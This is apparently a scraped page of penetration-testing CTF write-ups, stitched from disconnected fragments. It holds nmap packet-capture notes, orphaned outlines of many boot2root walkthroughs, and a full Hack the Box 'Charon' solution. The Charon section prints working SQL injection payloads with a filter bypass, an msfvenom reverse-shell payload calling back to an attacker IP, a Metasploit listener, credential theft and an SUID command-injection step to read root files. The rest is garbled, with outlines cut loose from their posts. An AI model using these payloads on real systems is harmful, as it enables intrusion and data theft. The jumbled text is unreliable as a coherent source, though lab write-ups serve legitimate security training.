Hello everyone. In this article, we’ll see how to capture network packet using nmap. And we’ll use Wireshark for comparing its result with nmap. In this article, we mainly focus on what types of network traffic is captured by nmap while we use various nmap ping scan.
Ping scan in nmap is done to check if the target host is alive or not. As we know that ping by default sends the ICMP echo request and gets an ICMP echo reply if the system is alive. Ping scan by default send an ARP packet and gets a response to check if the host is up.
NOTE: Nmap scans change their behavior according to the network they are scanning.

• Scanning local network with nmap where nmap sends an ARP packet with every scan.
  
• If an external network is to be scanned; nmap sends the following request packets:
  

• The callback handler -> nsock_ev_handler (nsock_pool, nsock_event, void *)
  
• A pointer to a msiod struct -> msiod *iod, which holds all the I/O descriptor (IOD) related information.
  
• Struct filespace iobuf (a buffer usually 1024 bytes which holds the write/read bytes)
  
• The nse_type (nsock.h)
  
• The nse_status (nsock.h)
  
• A unique id -> nsock_event_id (EID)
  

• nsock_connect_tcp
  
• nsock_connect_udp
  
• nsock_connect_ssl
  
• nsock_reconnect_ssl
  

• nsock_readlines
  
• nsock_readbytes
  
• nsock_read
  

• nsock_write
  
• nsock_printf
  

• nsock_timer_create
  

• NSOCK INFO that denotes a new nsock_event_id (EID) 8 is generated to represents I/O descriptor (IOD) #1 for NSOCK UDP connection request to the router on port 53.
  
• NSOCK INFO that denotes another (EID) 18 is generated to represents read request from (IOD) #1.
  
• NSOCK INFO that denotes another (EID) 27 is generated to represents write request for 44 bytes to (IOD) #1.
  
• NSOCK INFO that denotes SUCCESSFUL operation when nsock used callback_handler to connect for EID 8.
  
• NSOCK INFO that denotes SUCCESSFUL operation when nsock used callback_handler to write for EID 27.
  
• NSOCK INFO that denotes SUCCESSFUL operation when nsock used callback_handler to read for EID 18.
  
• NSOCK info that IOD #1 is deleted.
  
• NSOCK info that nevent_delete is deleting on event 34.
  
• At last Nmap scan report Host is up.
  

• Arp request packet for 192.168.1.105 to 192.168.1.103
  
• Arp reply packet from 192.168.1.103 to 192.168.1.105
  

• ICMP echo request
  
• ICMP timestamp request
  
• TCP SYN to port 443
  
• TCP ACK to port 80
  

1. ICMP echo request
   
2. TCP SYN to port 443
   
3. TCP ACK to port 80
   
4. ICMP timestamp request
   
5. ICMP echo reply
   
6. TCP RST, ACK to port 443
   
7. TCP RST to port 80
   
8. ICMP Timestamp Reply
   

• SENT/RECD ARP request and reply respectively.
  
• Nsock libraries details
  
• TCP-SYN packet from 192.168.1.105:36088 to 192.168.1.103:22.
  
• TCP-SYN/ACK packet from 192.168.1.103:22 to 192.168.1.105:36088.
  

• SENT TCP-SYN packet on port 80
  
• RCVD TCP-RST/ACK from port 80.
  
• Nsock libraries details
  
• TCP-SYN packet from 192.168.1.105:63581 to 192.168.1.103:22.
  
• TCP-SYN/ACK packet from 192.168.1.103:22 to 192.168.1.105:63851.
  

• TCP-SYN packet sent from source 192.168.1.105 to 192.168.1.103 on port 22.
  
• TCP-SYN, ACK packet received from source 192.168.1.103 to 192.168.1.105.
  
• TCP-RST packet sent from source 192.168.1.105 to 192.168.1.103.
  

• SENT/RECD ARP request and reply respectively.
  
• Nsock libraries details
  
• TCP-SYN packet from 192.168.1.105:48236 to 192.168.1.103:22.
  
• TCP-SYN/ACK packet from 192.168.1.103:22 to 192.168.1.105:48236.
  

• SENT ICMP echo request
  
• SENT TCP SYN to port 443
  
• SENT TCP ACK to port 80
  
• SENT ICMP timestamp request
  
• Then RCVD packet ICMP Echo-reply from destination 192.168.1.103
  
• Then used NSOCK libraries to state actual request and response packets travel between sources to the destination router.
  
• SENT TCP-SYN request on port 22
  
• RECV TCP-SYN, ACK reply from port 22.
  

• Open ports and Running services (Nmap)
  

• FTP anonymous login
  
• Web Directory Enumeration
  

• Intercept Browser request (Burp Suite)
  
• Access /etc/passwd file
  
• Steal SSH RSA key
  

• Capture user.txt flag
  

• Capture root.txt flag
  

1. Port scanning and network discovery.
   
2. Directory enumeration.
   
3. Discovery of username and password hashes.
   
4. Cracking password hash.
   
5. Exploiting Jenkins on port 8080 using Metasploit.
   
6. Discovering cronjob.
   
7. Modifying cronjob and replacing it with a custom command to set the sticky bit on the find.
   
8. Waiting 5 minutes for the sticky bit to get set.
   
9. Executing root command to read the flag.
   

1. Exploiting Jenkins as above to get a shell.
   
2. Using OpenSSL to create a password hash.
   
3. Editing /etc/passwd file with our custom file.
   
4. Uploading it in the /tmp folder.
   
5. Copying it in place of /etc/passwd.
   
6. Logging in as root using SU binary.
   

1. Achieving meterpreter as above.
   
2. Uploading a reverse_bash one-liner in CleaningScript.sh.
   
3. Activating Netcat and getting root.
   

• Level 14-15
  
• Level 15-16
  
• Level 16-17
  
• Level 17-18
  
• Level 18-19
  
• Level 19-20
  
• Level 20-21
  

Temple of Doom is a new CTF challenge VM on vulnhub made by

[To see content please register here]

[To see content please register here]

• Port scanning
  
• Burp intercept to capture cookies.
  
• Cookie processing for node serialize RCE vulnerability.
  
• Getting the current user by RCE.
  
• Getting a netcat shell for the current user.
  
• Discovering ss-manager being run as root.
  
• Exploiting command execution vulnerability on ss-manager to get a netcat shell
  
• Shell crafting from tcpdump and sudo
  
• Getting a netcat shell as root.
  
• Grabbing the flag.
  

• Network scanning (Nmap)
  
• Surfing HTTP web services
  
• Fetched Encoded password
  
• Decoding (Burp suite)
  
• Brute-Force (Hydra)
  
• Connecting to pop3 (Netcat)
  
• Extracting password
  
• Adding domain Name (/etc/host)
  
• Exploring Domain Name over browser
  
• Brute-force (Hydra)
  
• Login to Server
  
• Exploiting Moodle (Metasploit)
  
• Kernel post Exploit (overlayfs)
  
• Capture the flag
  

1. Port scanning and discovery of ports.
   
2. Discovery of the shared folder (misconfigured NFS).
   
3. Mounting a directory to see the contents in the shared folder.
   
4. Mounting and checking the root directory.
   
5. Capturing the flag.
   

1. Network discovery and port scan
   
2. Directory busting the server
   
3. Accessing robots.txt on the webpage
   
4. Capturing flag 1 from robots.txt and discovery of a new port 9072
   
5. Connection to port 9072 to upload a netcat reverse shell
   
6. Getting root access and capturing the second flag
   

Today we are going to solve another CTF challenge “Ariekei” which is available online for those who want to increase their skill in penetration testing and black box testing. Ariekei is a retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Expert
Task: find user.txt and root.txt file on the victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.65 so let’s begin with nmap port enumeration.
nmap -sV -p- 10.10.10.65 --open
1
nmap -sV -p- 10.10.10.65 --open
From the given below image, you can observe we found port 22, 443 and 1022 are open on the target system.

As port 443 is running HTTP server we open the target machine’s IP address in our browser, we check the SSL certificate and find 2 domain names: calvin.ariekei.htb and beehive.ariekei.htb.

Now when we open the website we get a webpage that has a message on it saying it was maintenance.

Now we add the two domain names we found in the SSL certificate in the /etc/hosts file for further enumeration.

When we open “calvin.ariekei.htb” we get an error message saying the requested URL is not found.

Now when we open “beehive.ariekei.htb” we get the same under maintenance page as we did the first time we opened the target’s IP address in our browser.

Now we use dirb to enumerate the directories running on target nginx server. We also find that using either the IP address or the domain “beehive.arieki.htb” gives us identical results.
dirb

[To see content please register here]

• Vince Clarke can help you with the Fast Fashion.
  
• The challenge isn’t over with root. The flag is something special.
  
• I have put a few trolls in, but only to sport with you.
  

• Network scanning (netdiscover, nmap)
  
• Abusing HTTP web Pages
  
• Dictionary generating (password)
  
• Exploit ProFTPD 1.3.5rc3 (Metasploit)
  
• Dictionary generating (username)
  
• FTP Brute-force attack (Hydra)
  
• Find faith_and_devotion file
  
• Post-exploit ProFTPD-Backdoor(Metasploit)
  
• Get root access
  
• Download password protected RAR file
  
• Crack password (John)
  
• Extract hidden text behind Image (ExifTool)
  
• Decrypt the cipher (Enigma Machine cipher)
  
• Tweet author
  

• A Request-line
  
• Zero or more header (General|Request|Entity) fields followed by CRLF
  
• An empty line (i.e., a line with nothing preceding the CRLF) indicating the end of the header fields
  
• Optionally a message-body
  

• Level 0
  
• Level 0-1
  
• Level 1-2
  
• Level 2-3
  
• Level 3-4
  
• Level 4-5
  
• Level 5-6
  
• Level 6-7
  
• Level 7-8
  
• Level 8-9
  
• Level 9-10
  
• Level 10-11
  
• Level 11-12
  
• Level 12-13
  
• Level 13-14
  

This post is on the latest CTF challenge “Teuchter” presented by vulnhub for penetration practice and design by knightmare. This virtual machine is having intermediate to the medium difficulty level. One need to break into VM using the web application and from there escalate privileges to gain root access.
Download it from here:

[To see content please register here]

• Network Scanning (netdiscover, Nmap)
  
• Abusing HTTP service for PHP extract backdoor
  
• Compromise victim’s (Metasploit)
  
• SUID Privilege escalation
  
• Steganography for original flag.txt
  

• Network scanning
  
• Exploit Drupal (Metasploit)
  
• privilege escalation via Writable /passwd file
  
• privilege escalation via PATH variable
  
• Get root access and capture the flag
  

• Via sudo right
  
• Via wildcard Injection
  
• Via SUID Binaries
  

• Via SUID Binaries
  

• Via Network file sharing (NFS)
  

• Login using ssh credential
  
• Check sudoers list for sudo permissions
  
• Get root shell via system binaries having sudo permission
  

• Wildcard Injection
  
• Check cron job
  
• Generate one-liner for the netcat_reverse shell (msfvenom)
  
• Exploit tar wildcard injection
  
• Spawn root shell through netcat session
  

Today we are going to solve the latest CTF challenge presented by vulnhub for penetration practice and design by Mr. Hadi Mene. This lab is the proposal for beginners and mode of difficulty level is easy. You can download it from this Link:

[To see content please register here]

• Network scanning
  
• Directory brute-force attack
  
• Abusing HTTP web directories
  
• Compromise confidential
  
• Spawn tty shell (ssh login)
  
• SUID privilege escalation
  
• Get root access and capture the flag
  

• Port scanning
  
• Used enum4linux to enumerate all the users
  
• SSH brute force for the user jan
  
• Attained SSH .pub file for user kay
  
• Used ssh2john to convert that pub key into a crackable format
  
• Used John the ripper to crack key and attained a passphrase
  
• Logged into user kay using the passphrase
  
• Attained the file pass.bak
  
• Got root access to the lab using the password in pass.bak
  
• Captured the flag
  

• Open ports and Running services (Nmap)
  

• Enumerating Web Directory (Dirbuster)
  
• Identify Web application vulnerability
  
• SQL Injection
  

• Login form SQL Injection
  
• File Upload
  

• Injecting PHP payload (Metasploit)
  
• Stealing SSH Credential
  
• SSH login
  
• Get user.txt
  

• Cracking Frame-buffer Device (Cyber Forensic)
  
• Escalated root shell
  
• Get root.txt
  

Hello friends!! Today we are going to solve another CTF challenge “Charon” which is available online for those who want to increase their skill in penetration testing and black box testing. Charon is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Expert
Task: find user.txt and root.txt file on victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.31 so let’s begin with nmap port enumeration.
nmap -sV 10.10.10.31
1
nmap -sV 10.10.10.31

From given below image, you can observe we found port 22 and 80 are open on target system.
As port 80 is running http server we open the target machine’s ip address in our browser.

We run dirbuster on port 80, which reveals a directory entitled “cmsdata/”.

We open the link, and are presented with a login page.

We don’t find anything on the login page, so we go to forgot password link.

We capture the request of the page using burpsuite, and send it to repeater.

After sending the request to repeater, we try to enumerate if the site is vulnerable to SQL-injection. As soon as we add a quote at the end of our email id we get a database error.

Now to confirm that the site is vulnerable to SQL-injection we use “– – “to comment the query and remove the error.

Now as we know the site is vulnerable to SQL injection, we try to exploit it. First we find the number of columns, to check the number of columns we use “ORDER BY” command to find the number of columns in the table. After find the number of columns we use “UNION SELECT” command to give the output column names with the respective numbers. As UNION and union is blacklisted, we use UNion for SQL-injection.
‘UNion SELECT 1,2,3,4 — –

We couldn’t run any commands in columns, but when we pass a string in column 4, we successfully ran our query.

Now we know how bypass the security using string, we first find the name of the database
' UNion select 1,2,3,concat(database(), "@who.ami") -- -
1
' UNion select 1,2,3,concat(database(), "@who.ami") -- -

After finding the name of the database we find the table name in the database.
' UNion select 1,2,3,concat(table_name, "@who.ami") FROM information_schema.tables where table_schema="supercms" limit 1,1 -- -
1
' UNion select 1,2,3,concat(table_name, "@who.ami") FROM information_schema.tables where table_schema="supercms" limit 1,1 -- -

Enumerating the tables in the database; we find two tables, one called license and another one called operators.
' UNion select 1,2,3,concat(table_name, "@who.ami") FROM information_schema.tables where table_schema="supercms" limit 2,1 -- -
1
' UNion select 1,2,3,concat(table_name, "@who.ami") FROM information_schema.tables where table_schema="supercms" limit 2,1 -- -

After getting the names of the tables, we enumerate the columns. The license table doesn’t have any interesting columns but in the “operators” table we find a column called “__username_”.
' UNion select 1,2,3,concat(column_name, "@who.ami") FROM information_schema.columns where table_name="operators" limit 1,1 -- -
1
' UNion select 1,2,3,concat(column_name, "@who.ami") FROM information_schema.columns where table_name="operators" limit 1,1 -- -

After getting the “__username_” column we enumerate further and get a column called “__password_”.
' UNion select 1,2,3,concat(column_name, "@who.ami") FROM information_schema.columns where table_name="operators" limit 2,1 -- -
1
' UNion select 1,2,3,concat(column_name, "@who.ami") FROM information_schema.columns where table_name="operators" limit 2,1 -- -

Now we dump the column name “__username_”.
' UNion select 1,2,3,concat(__username_, "@who.ami") FROM operators limit 1,1 -- -
1
' UNion select 1,2,3,concat(__username_, "@who.ami") FROM operators limit 1,1 -- -

Now we dump the column name “__password_” for the username = “super_cms_adm”.
' UNion select 1,2,3,concat(__password_, “@who.ami”) FROM operators limit 1,1 -- -
1
' UNion select 1,2,3,concat(__password_, “@who.ami”) FROM operators limit 1,1 -- -

When we dump the “__password_” column we get a hash. We use hashkiller.co.uk to crack the password.

Now we got the credentials for the supercms login page, super_cms_adm:tamarro.

Now login using the above credentials, we were able to get a page where there is an option for uploading image.

Now we open the link and find an upload page.

We take a look at the source page and find a base64 encoded string.

When we decode it we find a string called “testfile1”. It is possible that there is hidden field with this name.

Now we create a php payload using msfvenom, so that we can upload our php shell.
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.7 lport=4444 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.7 lport=4444 -f raw

We capture the upload request and create a new field and add “file.php”.

Now we get the link the location of the file we just uploaded in /images/.

Before running our shell, we setup our listener using metasploit.
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.14.7
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > run
1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.14.7
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > run

As soon as we open the link to our shell, we get our reverse shell.
meterpreter > sysinfo

Now enumerating through the system we find an encrytpted file and a public key inside /home/decoder directory.

We download both the files into our system.
meterpreter > download decoder.pub /root/Desktop
meterpreter > download pass.crypt /root/Desktop
1
2
meterpreter > download decoder.pub /root/Desktop
meterpreter > download pass.crypt /root/Desktop

Now we decode the encrypted file using public key with the RsaCtfTool.
./RsaCtfTool.py --publickey /root/Desktop/decoder.pub –uncipherfile /root/Desktop/pass.crypt
1
./RsaCtfTool.py --publickey /root/Desktop/decoder.pub –uncipherfile /root/Desktop/pass.crypt

We use ssh to login using the credentials, decoder:nevermindthebollocks.
ssh [email protected]
1
ssh [email protected]

After logging in we find a file called user.txt, we open the file and find our first flag.

Now we find the files with SUID bit set and find a file called supershell in /usr/local/bin/ directory.
find / -perm -4000 2>/dev/null
1
find / -perm -4000 2>/dev/null

When we run the binary we find that we can run any shell command using this binary. We use this to open root.txt inside /root/ directory. When we open root.txt we find our final flag.
supershell "/bin/ls$
> cat /root/root.txt"
1
2
supershell "/bin/ls$
> cat /root/root.txt"


Hello friends! Today we are going to take another boot2root challenge known as PinkyPalace. The credit for making this vm machine goes to “Pink_panther” and it is another boot to root challenge in which our goal is to gain root access to complete the challenge. You can download this VM

[To see content please register here]